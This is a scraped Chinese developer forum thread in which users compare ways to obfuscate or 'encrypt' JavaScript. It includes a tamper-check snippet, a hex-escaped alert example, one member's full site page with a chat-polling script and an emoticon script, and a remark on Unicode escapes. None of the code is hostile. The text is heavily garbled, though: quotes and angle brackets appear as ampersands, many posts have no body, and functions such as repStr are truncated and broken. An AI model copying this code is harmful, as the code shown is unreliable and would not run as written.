2、请大家跟贴介绍你用过的“混淆|加密”方法或工具。如果可能最好给出有关特点的评价。
3、请大家谈一谈你自己对JS“混淆|加密”的见解(认识、要求、成见……),注意言之有物,不要灌水。
昵称: bound0 &时间:
这是很简单的一个,不过可以通过此改变出别的用法,不过都是障眼法吧。
我菜,还请多指教。
昵称: firsun &时间:
昵称: bound0 &时间:
昵称: andot &时间:
昵称: bound0 &时间:
FF Only&script&
//上面是不可以修改的代码
//下面是检查
if(document.documentElement.innerHTML.length!=175){ document.write('你为什么要修改我?');
}else{ document.write('我没有被修改过.');
&!--下面代码可以修改 --&
alert(&目前加载长度:&+document.documentElement.innerHTML.length);
alert(&目前加载长度:&+document.documentElement.innerHTML.length);
&提示:您可以先修改部分代码再运行
昵称: hutia &时间:
昵称: bound0 &时间:
(当然,任何“保护”总是相对的,我们的目标就是做到“尽量”。如果你让对手“不晕死,就累死”,他也许就会打退堂鼓了。)
昵称: bound0 &时间:
昵称: bound0 &时间:
昵称: xlez &时间:
昵称: oror &时间:
昵称: magnisoft &时间:
昵称: ttyp &时间:
昵称: foy &时间:
混淆:复制内容到剪贴板代码:var _0x85e1l0=[&\x63\x6F\x70\x79\x72\x69\x67\x68\x74\x20\x62\x79\x20\x6C\x69\x6F\x6E\x73\x6B\x79\x2E\x6E\x65\x74&,&\x48\x65\x6C\x6C\x6F&];var _0x85e1l1=_0x85e1l0[0x0];function _0x85e1l2(_0x85e1l3){alert(_0x85e1l3+_0x85e1l1);} ;_0x85e1l2(_0x85e1l0[0x1]);
昵称: KongNan &时间:
昵称: bound0 &时间:
昵称: i2up &时间:
昵称: hubro &时间:
这里是真实的网页内容: http://www.qqit.com/site_frame.aspx&html&
&meta http-equiv=&Content-Type& content=&text/ charset=gb2312&&
&title&Only Js&/title&
&script language=&JavaScript& src=&js/main.js.aspx&&&/script&
&script language=&JavaScript& src=&js/page.js.aspx&&&/script&
&script language=&JavaScript& src=&smilies.js.aspx&&&/script&
&link href=&css/style.css& rel=&stylesheet& type=&text/css&&
&style type=&text/css&&
.wcc02 { FONT-SIZE: 12 COLOR: #000000
.wcc04 { FONT-SIZE: 12 COLOR: #f902c2
body { margin-left: 0 margin-top: 0 margin-right: 0 margin-bottom: 0
&body oncontextmenu=&return false&&
&TABLE cellSpacing=0 cellPadding=0 width=&100%& border=0& &TBODY& &TR& &TD id=tdbg background=&display url_files/b1.gif& bgColor=#d4d0c8 height=24 name=&tdbg&&&TABLE cellSpacing=0 cellPadding=0 width=&100%& align=center border=0& &TBODY& &TR& &TD class=wcc02 width=7 height=24&&&/TD& &TD class=wcc04 width=110&&&/TD& &TD width=&720& class=wcc02 id=tdUrl name=&tdUrl&&&&/TD& &TD width=172&&DIV class=wcc02 align=center&&FONT color=#ff0000&本网站已经开通企业通功能!&/FONT&&/DIV&&/TD& &/TR& &/TBODY& &/TABLE&&/TD& &/TR& &TR& &TD bgColor=#808080 height=1&&/TD& &/TR& &TR& &TD height=1&&/TD& &/TR& &/TBODY&
&TABLE cellSpacing=0 cellPadding=0 width=&100%& border=0& &TBODY& &TR& &TD id=tdbg background=&display url_files/b1.gif& bgColor=#d4d0c8 height=24 name=&tdbg&&&TABLE cellSpacing=0 cellPadding=0 width=&100%& align=center border=0& &TBODY& &TR& &TD class=wcc02 width=113 height=24&&div align=&center&&&span class=&wcc04&&&img src=&img/logo2.gif& width=&91& height=&41&&&/span&&/div&&/TD& &TD width=1 bgcolor=&#808080& class=wcc04&&/TD& &TD width=&497& class=wcc02 id=tdUrl name=&tdUrl&&&table width=&100%& border=&0& cellspacing=&0& cellpadding=&0&& &tr& &TD height=5 colspan=&6&&&/TD& &/tr& &tr& &td width=&0%& height=&40&&&&/td& &td width=&1%&&&img src=&img/kuang1.gif& width=&6& height=&44&&&/td& &td width=&8%& align=&left& valign=&middle&&&img src=&img/ren.jpg& width=&41& height=&44&&&/td& &td width=&89%& background=&img/11.jpg&&&div id=&msg_div1&&
&a href=&#& onclick=&open_chat()&&大家好,欢迎访问本站,有问题请点我&/a&,或在&a href=&javascript:open_book()&&这里留言&/a&
&div id=&msg_div2&&
&/div&&/td& &td width=&1%&&&img src=&img/kuang3.gif& width=&6& height=&44&&&/td& &td width=&1%&&&&/td& &/tr& &tr& &TD height=5 colspan=&6&&&/TD& &/tr& &/table&&/TD& &TD width=1 bgcolor=&#808080&&&/TD& &TD width=319&&table width=&98%& border=&0& cellspacing=&0& cellpadding=&0&& &tr& &TD height=5 colspan=&5&&&/TD& &/tr& &tr& &td width=&2%& height=&40&&&&/td& &td width=&2%&&&img src=&img/kuang1.gif& width=&6& height=&44&&&/td& &td width=&85%& align=&left& valign=&middle& background=&img/11.jpg&&&textarea onMouseOver=&this.focus()& onblur=&if (this.value =='') this.value='输入文字,直接对话 →'& onFocus=&this.select()& onClick=&if (this.value=='输入文字,直接对话 →') this.value=''& name=&textarea& cols=&40& rows=&2& wrap=&VIRTUAL&&输入文字,直接对话 →&/textarea&&/td& &td width=&2%&&&img src=&img/kuang3.gif& width=&6& height=&44&&&/td& &td width=&9%&&&&/td& &/tr& &tr& &TD height=5 colspan=&5&&&/TD& &/tr& &/table&&/TD& &TD width=78&&a href=&#& onclick=&open_chat()&&&div align=&center&&&img src=&img/22.jpg& width=&67& height=&41& border=&0&&&/div& &/a&&/TD& &/TR& &/TBODY& &/TABLE&&/TD& &/TR& &TR& &TD bgColor=#808080 height=1&&/TD& &/TR& &TR& &TD height=1&&/TD& &/TR& &/TBODY&
&提示:您可以先修改部分代码再运行
昵称: hutia &时间:
昵称: hubro &时间:
page.js.aspxvar have_msg=
var msg=&&;
var has_say=
var last_msg=&&;
function get_msg()
{ url=&page_client.aspx&;
.append_js(url);
.if (have_msg && last_msg!=msg)
.window.status=&You Have A New Msg:&+
.//playsound(2);
.//dia_window(&chat.aspx#&,633,475)
.window.focus();
.last_msg=
function clean_msg()
var obj=document.getElementById('msg_div1');
var obj2=document.getElementById('msg_div2');
obj.style.display=&&;
obj2.style.display=&none&;
function sayit()
var obj=document.getElementById('msg_div1');
var obj2=document.getElementById('msg_div2');
obj.style.display=&none&;
obj2.style.display=&&;
obj2.innerHTML=&&a href=# onclick='open_chat();clean_msg()'&&b&管理员&/b&:&+getSmilies(msg)+&&/a&&;
setInterval('get_msg()',1000)
&提示:您可以先修改部分代码再运行smilies.js.aspxvar img_away=new Image()
img_away.src='./images/away.gif'
var img_birdman=new Image()
img_birdman.src='./images/birdman.gif'
var img_back=new Image()
img_back.src='./images/back.gif'
var img_bj=new Image()
img_bj.src='./images/bj.gif'
var img_avatar=new Image()
img_avatar.src='./images/avatar.gif'
var img_bootyshake=new Image()
img_bootyshake.src='./images/bootyshake.gif'
var img_blank=new Image()
img_blank.src='./images/blank.gif'
var img_argue=new Image()
img_argue.src='./images/argue.gif'
var img_brb=new Image()
img_brb.src='./images/brb.gif'
var img_bow=new Image()
img_bow.src='./images/bow.gif'
var img_cigarette=new Image()
img_cigarette.src='./images/cigarette.gif'
var img_code=new Image()
img_code.src='./images/code.gif'
var img_coffee=new Image()
img_coffee.src='./images/coffee.gif'
var img_cry=new Image()
img_cry.src='./images/cry.gif'
var img_cuss=new Image()
img_cuss.src='./images/cuss.gif'
var img_earth=new Image()
img_earth.src='./images/earth.gif'
var img_eatme=new Image()
img_eatme.src='./images/eatme.gif'
var img_ed_about=new Image()
img_ed_about.src='./images/ed_about.gif'
var img_ed_align_center=new Image()
img_ed_align_center.src='./images/ed_align_center.gif'
var img_ed_blank=new Image()
img_ed_blank.src='./images/ed_blank.gif'
var img_ed_align_right=new Image()
img_ed_align_right.src='./images/ed_align_right.gif'
var img_ed_align_left=new Image()
img_ed_align_left.src='./images/ed_align_left.gif'
var img_ed_charmap=new Image()
img_ed_charmap.src='./images/ed_charmap.gif'
var img_ed_color_bg=new Image()
img_ed_color_bg.src='./images/ed_color_bg.gif'
var img_ed_copy=new Image()
img_ed_copy.src='./images/ed_copy.gif'
var img_ed_color_fg=new Image()
img_ed_color_fg.src='./images/ed_color_fg.gif'
var img_ed_custom=new Image()
img_ed_custom.src='./images/ed_custom.gif'
var img_ed_cut=new Image()
img_ed_cut.src='./images/ed_cut.gif'
var img_ed_delete=new Image()
img_ed_delete.src='./images/ed_delete.gif'
var img_ed_format_bold=new Image()
img_ed_format_bold.src='./images/ed_format_bold.gif'
var img_ed_format_italic=new Image()
img_ed_format_italic.src='./images/ed_format_italic.gif'
var img_ed_format_sub=new Image()
img_ed_format_sub.src='./images/ed_format_sub.gif'
var img_ed_format_strike=new Image()
img_ed_format_strike.src='./images/ed_format_strike.gif'
var img_ed_format_sup=new Image()
img_ed_format_sup.src='./images/ed_format_sup.gif'
var img_ed_format_underline=new Image()
img_ed_format_underline.src='./images/ed_format_underline.gif'
var img_ed_help=new Image()
img_ed_help.src='./images/ed_help.gif'
var img_ed_hr=new Image()
img_ed_hr.src='./images/ed_hr.gif'
var img_ed_html=new Image()
img_ed_html.src='./images/ed_html.gif'
var img_ed_indent_more=new Image()
img_ed_indent_more.src='./images/ed_indent_more.gif'
var img_ed_image=new Image()
img_ed_image.src='./images/ed_image.gif'
var img_ed_link=new Image()
img_ed_link.src='./images/ed_link.gif'
var img_ed_indent_less=new Image()
img_ed_indent_less.src='./images/ed_indent_less.gif'
var img_ed_list_bullet=new Image()
img_ed_list_bullet.src='./images/ed_list_bullet.gif'
var img_ed_list_num=new Image()
img_ed_list_num.src='./images/ed_list_num.gif'
var img_ed_redo=new Image()
img_ed_redo.src='./images/ed_redo.gif'
var img_ed_undo=new Image()
img_ed_undo.src='./images/ed_undo.gif'
var img_flower1=new Image()
img_flower1.src='./images/flower1.gif'
var img_flower2=new Image()
img_flower2.src='./images/flower2.gif'
var img_fullscreen_maximize=new Image()
img_fullscreen_maximize.src='./images/fullscreen_maximize.gif'
var img_fullscreen_minimize=new Image()
img_fullscreen_minimize.src='./images/fullscreen_minimize.gif'
var img_help=new Image()
img_help.src='./images/help.gif'
var img_humping=new Image()
img_humping.src='./images/humping.gif'
var img_headbang=new Image()
img_headbang.src='./images/headbang.gif'
var img_idle=new Image()
img_idle.src='./images/idle.gif'
var img_insert_table=new Image()
img_insert_table.src='./images/insert_table.gif'
var img_kill=new Image()
img_kill.src='./images/kill.gif'
var img_image=new Image()
img_image.src='./images/image.gif'
var img_kiss=new Image()
img_kiss.src='./images/kiss.gif'
var img_lol=new Image()
img_lol.src='./images/lol.gif'
var img_love=new Image()
img_love.src='./images/love.gif'
var img_msg=new Image()
img_msg.src='./images/msg.gif'
var img_love_lost=new Image()
img_love_lost.src='./images/love_lost.gif'
var img_phone=new Image()
img_phone.src='./images/phone.gif'
var img_private=new Image()
img_private.src='./images/private.gif'
var img_rofl=new Image()
img_rofl.src='./images/rofl.gif'
var img_room=new Image()
img_room.src='./images/room.gif'
var img_shadowright=new Image()
img_shadowright.src='./images/shadowright.gif'
var img_shadowleft=new Image()
img_shadowleft.src='./images/shadowleft.gif'
var img_smilies=new Image()
img_smilies.src='./images/smilies.gif'
var img_snake=new Image()
img_snake.src='./images/snake.gif'
var img_sound=new Image()
img_sound.src='./images/sound.gif'
var img_status=new Image()
img_status.src='./images/status.gif'
var img_thumb1=new Image()
img_thumb1.src='./images/thumb1.gif'
var img_thumb2=new Image()
img_thumb2.src='./images/thumb2.gif'
var img_typing=new Image()
img_typing.src='./images/typing.gif'
var img_wave=new Image()
img_wave.src='./images/wave.gif'
var img_wlcm=new Image()
img_wlcm.src='./images/wlcm.gif'
var img_wm=new Image()
img_wm.src='./images/wm.jpg'
var img_wm2=new Image()
img_wm2.src='./images/wm2.jpg'
var img_meter=new Image()
img_meter.src='./images/meter.gif'
var img_searchicon=new Image()
img_searchicon.src='./images/searchIcon.gif'
var img_helpicon=new Image()
img_helpicon.src='./images/helpIcon.gif'
var img_fishright=new Image()
img_fishright.src='./images/fishright.gif'
var img_ed_paste=new Image()
img_ed_paste.src='./images/ed_paste.gif'
var img_home=new Image()
img_home.src='./images/home.gif'
var img_killusr=new Image()
img_killusr.src='./images/killusr.gif'
var img_prod=new Image()
img_prod.src='./images/prod.gif'
var img_email=new Image()
img_email.src='./images/email.gif'
var img_kick=new Image()
img_kick.src='./images/kick.gif'
var img_ftp=new Image()
img_ftp.src='./images/ftp.gif'
var img_themes=new Image()
img_themes.src='./images/themes.gif'
var img_save=new Image()
img_save.src='./images/save.gif'
var img_clear=new Image()
img_clear.src='./images/clear.gif'
var img_addprivate=new Image()
img_addprivate.src='./images/addprivate.gif'
var img_revokekicker=new Image()
img_revokekicker.src='./images/revokekicker.gif'
var img_delprivate=new Image()
img_delprivate.src='./images/delprivate.gif'
var img_makekicker=new Image()
img_makekicker.src='./images/makekicker.gif'
var img_google=new Image()
img_google.src='./images/google.gif'
var img_online=new Image()
img_online.src='./images/online.gif'
var img_offline=new Image()
img_offline.src='./images/offline.gif'
var img_muppet=new Image()
img_muppet.src='./images/muppet.jpg'
var sm_1=new Image()
sm_1.src='./images/smilies/1.gif'
var sm_2=new Image()
sm_2.src='./images/smilies/2.gif'
var sm_3=new Image()
sm_3.src='./images/smilies/3.gif'
var sm_4=new Image()
sm_4.src='./images/smilies/4.gif'
var sm_5=new Image()
sm_5.src='./images/smilies/5.gif'
var sm_6=new Image()
sm_6.src='./images/smilies/6.gif'
var sm_7=new Image()
sm_7.src='./images/smilies/7.gif'
var sm_8=new Image()
sm_8.src='./images/smilies/8.gif'
var sm_9=new Image()
sm_9.src='./images/smilies/9.gif'
var sm_10=new Image()
sm_10.src='./images/smilies/10.gif'
var sm_11=new Image()
sm_11.src='./images/smilies/11.gif'
var sm_12=new Image()
sm_12.src='./images/smilies/12.gif'
var sm_13=new Image()
sm_13.src='./images/smilies/13.gif'
var sm_14=new Image()
sm_14.src='./images/smilies/14.gif'
var sm_15=new Image()
sm_15.src='./images/smilies/15.gif'
var sm_16=new Image()
sm_16.src='./images/smilies/16.gif'
var sm_17=new Image()
sm_17.src='./images/smilies/17.gif'
var sm_18=new Image()
sm_18.src='./images/smilies/18.gif'
var sm_19=new Image()
sm_19.src='./images/smilies/19.gif'
var sm_20=new Image()
sm_20.src='./images/smilies/20.gif'
var sm_21=new Image()
sm_21.src='./images/smilies/21.gif'
var sm_22=new Image()
sm_22.src='./images/smilies/22.gif'
var sm_24=new Image()
sm_24.src='./images/smilies/24.gif'
var sm_23=new Image()
sm_23.src='./images/smilies/23.gif'
var sm_25=new Image()
sm_25.src='./images/smilies/25.gif'
var sm_26=new Image()
sm_26.src='./images/smilies/26.gif'
var sm_27=new Image()
sm_27.src='./images/smilies/27.gif'
var sm_28=new Image()
sm_28.src='./images/smilies/28.gif'
var sm_29=new Image()
sm_29.src='./images/smilies/29.gif'
var sm_30=new Image()
sm_30.src='./images/smilies/30.gif'
var sm_31=new Image()
sm_31.src='./images/smilies/31.gif'
var sm_32=new Image()
sm_32.src='./images/smilies/32.gif'
var sm_33=new Image()
sm_33.src='./images/smilies/33.gif'
function repStr(str,txt,by) { var strLength = str.length, txtLength = txt. if ((strLength == 0) || (txtLength == 0)) var i = str.indexOf(txt); if ((!i) && (txt != str.substr(0,txtLength))) if (i == -1) var newstr = str.substr(0,i) + if (i+txtLength & strLength){newstr += repStr(str.substring(i+txtLength,strLength),txt,by)}
function getSmilies(msg){ msg=repStr(msg,&:0&,'&img alt=&:0& src=&'+sm_11.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:a&,'&img alt=&:a& src=&'+sm_1.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:D&,'&img alt=&:D& src=&'+sm_2.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:|&,'&img alt=&:|& src=&'+sm_3.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:o&,'&img alt=&:o& src=&'+sm_4.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:,&,'&img alt=&:,& src=&'+sm_5.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:?&,'&img alt=&:?& src=&'+sm_6.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:}&,'&img alt=&:}& src=&'+sm_7.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:!&,'&img alt=&:!& src=&'+sm_8.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:.&,'&img alt=&:.& src=&'+sm_9.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:n&,'&img alt=&:n& src=&'+sm_10.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:@&,'&img alt=&:@& src=&'+sm_12.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&8)&,'&img alt=&8)& src=&'+sm_13.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:(&,'&img alt=&:(& src=&'+sm_14.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:-&,'&img alt=&:-& src=&'+sm_15.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:)&,'&img alt=&:)& src=&'+sm_16.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:p&,'&img alt=&:p& src=&'+sm_17.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:*&,'&img alt=&:*& src=&'+sm_18.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:r&,'&img alt=&:r& src=&'+sm_19.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&;)&,'&img alt=&;)& src=&'+sm_20.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:l&,'&img alt=&:l& src=&'+sm_21.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&8|&,'&img alt=&8|& src=&'+sm_22.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&8*&,'&img alt=&8*& src=&'+sm_23.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&8@&,'&img alt=&8@& src=&'+sm_24.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:s&,'&img alt=&:s& src=&'+sm_25.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:b&,'&img alt=&:b& src=&'+sm_26.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:d&,'&img alt=&:d& src=&'+sm_27.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:B&,'&img alt=&:B& src=&'+sm_28.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:g&,'&img alt=&:g& src=&'+sm_29.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:&&,'&img alt=&:&& src=&'+sm_30.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:w&,'&img alt=&:w& src=&'+sm_31.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&:x&,'&img alt=&:x& src=&'+sm_32.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&|:&,'&img alt=&|:& src=&'+sm_33.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&brb&,'&img alt=&brb& src=&'+img_brb.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&lol&,'&img alt=&lol& src=&'+img_lol.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&rofl&,'&img alt=&rofl& src=&'+img_rofl.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[bye]&,'&img alt=&[bye]& src=&'+img_wave.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[cry]&,'&img alt=&[cry]& src=&'+img_cry.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[bow]&,'&img alt=&[bow]& src=&'+img_bow.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[bang]&,'&img alt=&[bang]& src=&'+img_headbang.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[kiss]&,'&img alt=&[kiss]& src=&'+img_kiss.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[thup]&,'&img alt=&[thup]& src=&'+img_thumb1.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[thdn]&,'&img alt=&[thdn]& src=&'+img_thumb2.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[flup]&,'&img alt=&[flup]& src=&'+img_flower1.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[fldn]&,'&img alt=&[fldn]& src=&'+img_flower2.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[lv]&,'&img alt=&[lv]& src=&'+img_love.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[lv2]&,'&img alt=&[lv2]& src=&'+img_love_lost.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[cig]&,'&img alt=&[cig]& src=&'+img_cigarette.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[ph]&,'&img alt=&[ph]& src=&'+img_phone.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[coff]&,'&img alt=&[coff]& src=&'+img_coffee.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[wb]&,'&img alt=&[wb]& src=&'+img_wlcm.src+'& width=&55px& height=&36px& align=&absmiddle& border=&0&&') msg=repStr(msg,&[arg]&,'&img alt=&[arg]& src=&'+img_argue.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[kill]&,'&img alt=&[kill]& src=&'+img_kill.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[butt]&,'&img alt=&[butt]& src=&'+img_bootyshake.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[bird]&,'&img alt=&[bird]& src=&'+img_birdman.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[fuck]&,'&img alt=&[fuck]& src=&'+img_humping.src+'& align=&absmiddle& border=&0&&') msg=repStr(msg,&[cuss]&,'&img alt=&[cuss]& src=&'+img_cuss.src+'& align=&absmiddle& border=&0&&') return msg
function createSmilieMenu(){ var t='&td height=&30& width=&70& style=&& class=&menuItemNormal& onmouseover=&this.className=\'menuItemActive\'& onmouseout=&this.className=\'menuItemNormal\'& align=&center& onclick=selectSmilie(\'' var t2='\')&&img src=&' var str= '&table border=&0px& cellpadding=&2px& cellspacing=&0px& onclick=&hideSmilieMenu()&&'+ '&tr&'+ t+':a'+t2+sm_1.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :a &\/td&'+ t+':D'+t2+sm_2.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :D &\/td&'+ t+':|'+t2+sm_3.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :| &\/td&'+ t+':o'+t2+sm_4.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :o &\/td&'+ t+':,'+t2+sm_5.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :, &\/td&'+ '&\/tr&'+ '&tr&'+ t+':?'+t2+sm_6.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :? &\/td&'+ t+':}'+t2+sm_7.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :} &\/td&'+ t+':!'+t2+sm_8.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :! &\/td&'+ t+':.'+t2+sm_9.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :. &\/td&'+ t+':n'+t2+sm_10.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :n &\/td&'+ '&\/tr&'+ '&tr&'+ t+':0'+t2+sm_11.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :0 &\/td&'+ t+':@'+t2+sm_12.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :@ &\/td&'+ t+'8)'+t2+sm_13.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& 8) &\/td&'+ t+':('+t2+sm_14.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :( &\/td&'+ t+':-'+t2+sm_15.src+'& border=&0px& align=&absmiddle& height=&18px& width=&18px&& :- &\/td&'+ '&\/tr&'+ '&tr&'+ t+':)'+t2+sm_16.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :) &\/td&'+ t+':p'+t2+sm_17.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :p &\/td&'+ t+':*'+t2+sm_18.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :* &\/td&'+ t+':r'+t2+sm_19.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :r &\/td&'+ t+';)'+t2+sm_20.src+'& border=&0px& align=&absmiddle& height=&18px& width=&18px&& ;) &\/td&'+ '&\/tr&'+ '&tr&'+ t+':l'+t2+sm_21.src+'& border=&0px& align=&absmiddle& height=&29px& width=&22px&& :l &\/td&'+ t+'8|'+t2+sm_22.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& 8| &\/td&'+ t+'8*'+t2+sm_23.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& 8* &\/td&'+ t+'8@'+t2+sm_24.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& 8@ &\/td&'+ t+':s'+t2+sm_25.src+'& border=&0px& align=&absmiddle& height=&24px& width=&20px&& :s &\/td&'+ '&\/tr&'+ '&tr&'+ t+':b'+t2+sm_26.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :b &\/td&'+ t+':d'+t2+sm_27.src+'& border=&0px& align=&absmiddle& height=&24px& width=&20px&& :d &\/td&'+ t+':B'+t2+sm_28.src+'& border=&0px& align=&absmiddle& height=&24px& width=&20px&& :B &\/td&'+ t+':g'+t2+sm_29.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :g &\/td&'+ t+':&'+t2+sm_30.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :& &\/td&'+ '&\/tr&'+ '&tr&'+ t+':w'+t2+sm_31.src+'& border=&0px& align=&absmiddle& height=&20px& width=&22px&& :w &\/td&'+ t+':x'+t2+sm_32.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& :x &\/td&'+ t+'|:'+t2+sm_33.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& |: &\/td&'+ t+'lol'+t2+img_lol.src+'& border=&0px& align=&absmiddle& height=&20px& width=&20px&& lol &\/td&'+ t+'[bye]'+t2+img_wave.src+'& border=&0px& align=&absmiddle& height=&15px& width=&25px&& [bye] &\/td&'+ '&\/tr&'+ '&tr&'+ t+'brb'+t2+img_brb.src+'& border=&0px& align=&absmiddle& height=&15px& width=&16px&& brb &\/td&'+ t+'[bow]'+t2+img_bow.src+'& border=&0px& align=&absmiddle& height=&15px& width=&29px&& [bow] &\/td&'+ t+'[bang]'+t2+img_headbang.src+'& border=&0px& align=&absmiddle& height=&20px& width=&25px&& [bang] &\/td&'+ t+'[kiss]'+t2+img_kiss.src+'& border=&0px& align=&absmiddle& height=&15px& width=&34px&& [kiss] &\/td&'+ t+'[cry]'+t2+img_cry.src+'& border=&0px& align=&absmiddle& height=&15px& width=&40px&& [cry] &\/td&'+ '&\/tr&'+ '&tr&'+ t+'[thup]'+t2+img_thumb1.src+'& border=&0px& align=&absmiddle& height=&18px& width=&25px&& [thup] &\/td&'+ t+'[thdn]'+t2+img_thumb2.src+'& border=&0px& align=&absmiddle& height=&18px& width=&25px&& [thdn] &\/td&'+ t+'[flup]'+t2+img_flower1.src+'& border=&0px& align=&absmiddle& height=&18px& width=&12px&& [flup] &\/td&'+ t+'[fldn]'+t2+img_flower2.src+'& border=&0px& align=&absmiddle& height=&18px& width=&18px&& [fldn] &\/td&'+ t+'[lv]'+t2+img_love.src+'& border=&0px& align=&absmiddle& height=&16px& width=&17px&& [lv] &\/td&'+ '&\/tr&'+ '&tr&'+ t+'[lv2]'+t2+img_love_lost.src+'& border=&0px& align=&absmiddle& height=&16px& width=&19px&& [lv2] &\/td&'+ t+'[ph]'+t2+img_phone.src+'& border=&0px& align=&absmiddle& height=&18px& width=&18px&& [ph] &\/td&'+ t+'[coff]'+t2+img_coffee.src+'& border=&0px& align=&absmiddle& height=&18px& width=&19px&& [coff] &\/td&'+ t+'[cig]'+t2+img_cigarette.src+'& border=&0px& align=&absmiddle& height=&32px& width=&32px&& [cig] &\/td&'+ t+'[cig]'+t2+img_cigarette.src+'& border=&0px& align=&absmiddle& height=&32px& width=&32px&& [cig] &\/td&'+ '&\/tr&'+ '&\/table&' if (smiliesMenu.innerHTML==&&) smiliesMenu.innerHTML=str
function selectSmilie(what){ bodyfrom.themsg.value+=what bodyfrom.themsg.focus()
function hideSmilieMenu(){
if(smiliesMenu.style.display=='') smiliesMenu.style.display='none'
function showsmile()
if (smiliesMenu.style.display=='none')
{ smiliesMenu.style.display='' createSmilieMenu() } else smiliesMenu.style.display='none'
&提示:您可以先修改部分代码再运行ps: hubro 跑题了,跑题了,没缓存是服务器端的技巧;
而且单靠这招儿也不行啊,毕竟还是要到客户端的浏览器里不是?即便你再把数据gzip压缩了也是一样。 所以还是得混淆。
昵称: bound0 &时间:
昵称: hubro &时间:
昵称: hutia &时间:
昵称: hubro &时间:
然后点击链接打开即可:
(13.99 KB)
(32.58 KB)
昵称: hutia &时间:
昵称: KongNan &时间:
昵称: KongNan &时间:
Sorry, 想当然了, 不是这么回事.
希望没误导大家! 大家在看我帖子的时候要注意我的签名啊. 感谢 Bound0 的斧正!
bound0在上个帖子中说引用:firsun提到的Unicode转义需要用到document.write(), 用这个方法去混淆document.write()的话, 需要把document.write()递归定义, 这个好像比较困难了?! 这个貌似不需要吧.
js 对 unicode 的处理好像跟 java 差不多(是不是啊
在解释 unicode 码时会先将其转换为 unicode 字符.
即使对字符串中的 unicode 都是如此. 您认为下列代码的执行结果是什么?&script type = &text/javascript&& alert(&\u0061&.charAt(0));
